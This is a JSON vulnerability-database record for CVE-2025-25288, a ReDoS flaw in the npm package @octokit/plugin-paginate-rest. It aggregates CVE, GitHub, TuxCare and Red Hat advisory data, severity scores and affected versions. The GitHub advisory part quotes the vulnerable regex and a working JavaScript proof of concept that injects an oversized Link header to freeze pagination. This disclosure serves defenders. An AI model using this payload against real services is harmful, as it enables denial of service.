{"id":"CVE-2025-25288","aliases":["CLSA-2026-1789898427","GHSA-h5c3-5r3r-rr8q"],"summary":"@octokit/plugin-paginate-rest has a Regular Expression in iterator that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking","published_at":"2025-02-14T17:57:59Z","modified_at":"2026-10-30T19:46:04.004633Z","products":[],"rating":{"severity":"medium","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Moderate","vendor_ratings":[{"source":"Red Hat","rating":"Moderate"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.006279999855905771,"percentile":0.5087599754333496,"date":"2026-11-19T00:00:00Z"},"priority":7.3,"details":"@octokit/plugin-paginate-rest is the Octokit plugin to paginate REST API endpoint responses. For versions starting in 1.0.0 and prior to 11.4.1 of the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack. Version 11.4.1 contains a fix for the issue.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"octokit/plugin-paginate-rest.js","versions":[">= 1.0.0, < 11.4.1"],"provider":"cvelistv5","source":"CVE-2025-25288","relation":"self"},{"ecosystem":"TuxCare:npm","package":"@octokit/plugin-paginate-rest","purl":"pkg:npm/%40octokit/plugin-paginate-rest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.21.3-tuxcare.0"},{"fixed":"2.21.3-tuxcare.1"}]}],"versions":["2.21.3"],"fixed":["2.21.3-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1789898427","relation":"self"},{"ecosystem":"npm","package":"@octokit/plugin-paginate-rest","purl":"pkg:npm/%40octokit/plugin-paginate-rest","ranges":[{"type":"SEMVER","events":[{"introduced":"9.3.0-beta.1"},{"fixed":"11.4.1"}]}],"fixed":["11.4.1"],"provider":"osv","source":"GHSA-h5c3-5r3r-rr8q","relation":"self"},{"ecosystem":"npm","package":"@octokit/plugin-paginate-rest","purl":"pkg:npm/%40octokit/plugin-paginate-rest","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"9.2.2"}]}],"fixed":["9.2.2"],"provider":"osv","source":"GHSA-h5c3-5r3r-rr8q","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Multicluster Engine for Kubernetes","cpe":"cpe:/a:redhat:multicluster_engine","status":"affected","packages":["multicluster-engine/multicluster-engine-console-mce-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"OpenShift Serverless","cpe":"cpe:/a:redhat:serverless:1","status":"affected","packages":["openshift-serverless-1/kn-backstage-plugins-eventmesh-rhel8"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat Advanced Cluster Management for Kubernetes 2","cpe":"cpe:/a:redhat:acm:2","status":"affected","packages":["rhacm2/console-rhel8"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1","cpe":"cpe:/a:redhat:rhdh:1","status":"not_affected","packages":["rhdh/rhdh-hub-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat Integration Camel K 1","cpe":"cpe:/a:redhat:camel_k:1","status":"affected","packages":["io.apicurio-apicurio-registry"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","status":"not_affected","packages":["org.keycloak-keycloak-parent"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","cpe":"cpe:/a:redhat:jbosseapxp","status":"not_affected","packages":["org.keycloak-keycloak-parent"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces","cpe":"cpe:/a:redhat:openshift_devspaces:3","status":"affected","packages":["devspaces/code-rhel8"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2025-25288"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2025-25288","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2025-25288","license":"CC-BY-4.0","published_at":"2025-02-14T19:33:43.428Z","modified_at":"2025-02-14T20:18:26.404Z","summary":"@octokit/plugin-paginate-rest has a Regular Expression in iterator that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking","details":"@octokit/plugin-paginate-rest is the Octokit plugin to paginate REST API endpoint responses. For versions starting in 1.0.0 and prior to 11.4.1 of the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack. Version 11.4.1 contains a fix for the issue.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","source":"CVE-2025-25288"}],"affected":[{"ecosystem":"CVE","package":"octokit/plugin-paginate-rest.js","versions":[">= 1.0.0, < 11.4.1"],"provider":"cvelistv5","source":"CVE-2025-25288","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts"}]},{"provider":"osv","source_id":"CLSA-2026-1789898427","relation":"self","url":"https://osv.dev/vulnerability/CLSA-2026-1789898427","published_at":"2026-09-20T10:00:27Z","modified_at":"2026-10-30T19:46:04.004633Z","summary":"TuxCare security update for @octokit/plugin-paginate-rest (1 CVE)","details":"TuxCare rebuilt @octokit/plugin-paginate-rest to address 1 CVE. Fixed in 2.21.3-tuxcare.1.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"@octokit/plugin-paginate-rest","purl":"pkg:npm/%40octokit/plugin-paginate-rest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.21.3-tuxcare.0"},{"fixed":"2.21.3-tuxcare.1"}]}],"versions":["2.21.3"],"fixed":["2.21.3-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1789898427","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"GHSA-h5c3-5r3r-rr8q","relation":"self","url":"https://osv.dev/vulnerability/GHSA-h5c3-5r3r-rr8q","license":"CC-BY-4.0","published_at":"2025-02-14T17:57:59Z","modified_at":"2026-09-10T03:50:22.670415Z","summary":"@octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking","details":"### Summary\nFor the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack.\n\n### Details\nThe issue occurs at [line 39](https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts) of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:\n```js\nurl = ((normalizedResponse.headers.link || \"\").match(\n  /<([^>]+)>;\\s*rel=\"next\"/,\n) || [])[1];\n```\nThe regular expression `/<([^>]+)>;\\s*rel=\"next\"/` may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted `Link` headers.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/d3f2ad000be8384d2105c87c2ed7ce7d)\n1. run npm i @octokit/plugin-paginate-rest\n2. run 'node poc.js'\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { Octokit } from \"@octokit/core\";\nimport { paginateRest } from \"@octokit/plugin-paginate-rest\";\n\nconst MyOctokit = Octokit.plugin(paginateRest);\nconst octokit = new MyOctokit({\n  auth: \"your-github-token\",\n});\n\n// Intercept the request to inject a malicious 'link' header for ReDoS\noctokit.hook.wrap(\"request\", async (request, options) => {\n  const maliciousLinkHeader = \"\" + \"<\".repeat(100000) + \">\"; // attack string\n  return {\n    data: [],\n    headers: {\n      link: maliciousLinkHeader, // Inject malicious 'link' header\n    },\n  };\n});\n\n// Trigger the ReDoS attack by paginating through GitHub issues\n(async () => {\n  try {\n    for await (const normalizedResponse of octokit.paginate.iterator(\n      \"GET /repos/{owner}/{repo}/issues\", { owner: \"DayShift\", repo: \"ReDos\", per_page: 100 }\n    )) {\n      console.log({ normalizedResponse });\n    }\n  } catch (error) {\n    console.error(\"Error encountered:\", error);\n  }\n})();\n```\n![image](https://github.com/user-attachments/assets/619c030e-5473-4a26-9e2a-4b9a26c1563b)\n\n### Impact\n#### What kind of vulnerability is it?\nThis is a *Regular Expression Denial of Service (ReDoS) vulnerability*, which occurs due to excessive backtracking in the regex pattern:\n```js\n/<([^>]+)>;\\s*rel=\"next\"/\n```\nWhen processing a specially crafted `Link` header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.\n#### Who is impacted?\n* Users of `@octokit/plugin-paginate-rest` who call `octokit.paginate.iterator()` and process untrusted or manipulated `Link` headers.\n* Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.\n* GitHub API consumers who integrate this package into their projects for paginated data retrieval.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","source":"GHSA-h5c3-5r3r-rr8q"}],"affected":[{"ecosystem":"npm","package":"@octokit/plugin-paginate-rest","purl":"pkg:npm/%40octokit/plugin-paginate-rest","ranges":[{"type":"SEMVER","events":[{"introduced":"9.3.0-beta.1"},{"fixed":"11.4.1"}]}],"fixed":["11.4.1"],"provider":"osv","source":"GHSA-h5c3-5r3r-rr8q","relation":"self"},{"ecosystem":"npm","package":"@octokit/plugin-paginate-rest","purl":"pkg:npm/%40octokit/plugin-paginate-rest","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"9.2.2"}]}],"fixed":["9.2.2"],"provider":"osv","source":"GHSA-h5c3-5r3r-rr8q","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-25288"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab"},{"type":"PACKAGE","url":"https://github.com/octokit/plugin-paginate-rest.js"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/releases/tag/v9.2.2"}]},{"provider":"redhat-vex","source_id":"CVE-2025-25288","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2025-25288","license":"CC-BY-4.0","published_at":"2025-02-14T19:33:43.428Z","modified_at":"2026-08-24T14:02:58Z","summary":"octokit/plugin-paginate-rest: @octokit/plugin-paginate-rest has a Regular Expression in iterator that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking","details":"A flaw was found in the plugin-paginate-rest Octokit plugin. When calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance with a malicious `link` parameter in the `headers` section of the `request` can trigger a regular expression denial-of-service (ReDoS) attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","source":"CVE-2025-25288"},{"type":"Red Hat","score":"Moderate","source":"CVE-2025-25288"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Multicluster Engine for Kubernetes","cpe":"cpe:/a:redhat:multicluster_engine","status":"affected","packages":["multicluster-engine/multicluster-engine-console-mce-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"OpenShift Serverless","cpe":"cpe:/a:redhat:serverless:1","status":"affected","packages":["openshift-serverless-1/kn-backstage-plugins-eventmesh-rhel8"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat Advanced Cluster Management for Kubernetes 2","cpe":"cpe:/a:redhat:acm:2","status":"affected","packages":["rhacm2/console-rhel8"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1","cpe":"cpe:/a:redhat:rhdh:1","status":"not_affected","packages":["rhdh/rhdh-hub-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat Integration Camel K 1","cpe":"cpe:/a:redhat:camel_k:1","status":"affected","packages":["io.apicurio-apicurio-registry"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","status":"not_affected","packages":["org.keycloak-keycloak-parent"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","cpe":"cpe:/a:redhat:jbosseapxp","status":"not_affected","packages":["org.keycloak-keycloak-parent"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2025-25288"},{"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces","cpe":"cpe:/a:redhat:openshift_devspaces:3","status":"affected","packages":["devspaces/code-rhel8"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2025-25288"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-25288.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-25288"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2345822"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2025-25288"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-25288"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q"}]}],"references":[{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-25288"},{"type":"PACKAGE","url":"https://github.com/octokit/plugin-paginate-rest.js"},{"type":"WEB","url":"https://github.com/octokit/plugin-paginate-rest.js/releases/tag/v9.2.2"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-25288.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-25288"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2345822"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2025-25288"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2025-25288","url":"https://www.cve.org/CVERecord?id=CVE-2025-25288","license":"CC-BY-4.0","modified_at":"2025-02-14T20:18:26.404Z","relation":"self"},{"provider":"osv","source_id":"CLSA-2026-1789898427","url":"https://osv.dev/vulnerability/CLSA-2026-1789898427","modified_at":"2026-10-30T19:46:04.004633Z","relation":"self"},{"provider":"osv","source_id":"GHSA-h5c3-5r3r-rr8q","url":"https://osv.dev/vulnerability/GHSA-h5c3-5r3r-rr8q","license":"CC-BY-4.0","modified_at":"2026-09-10T03:50:22.670415Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2025-25288","url":"https://access.redhat.com/security/cve/CVE-2025-25288","license":"CC-BY-4.0","modified_at":"2026-08-24T14:02:58Z","relation":"self"}]}
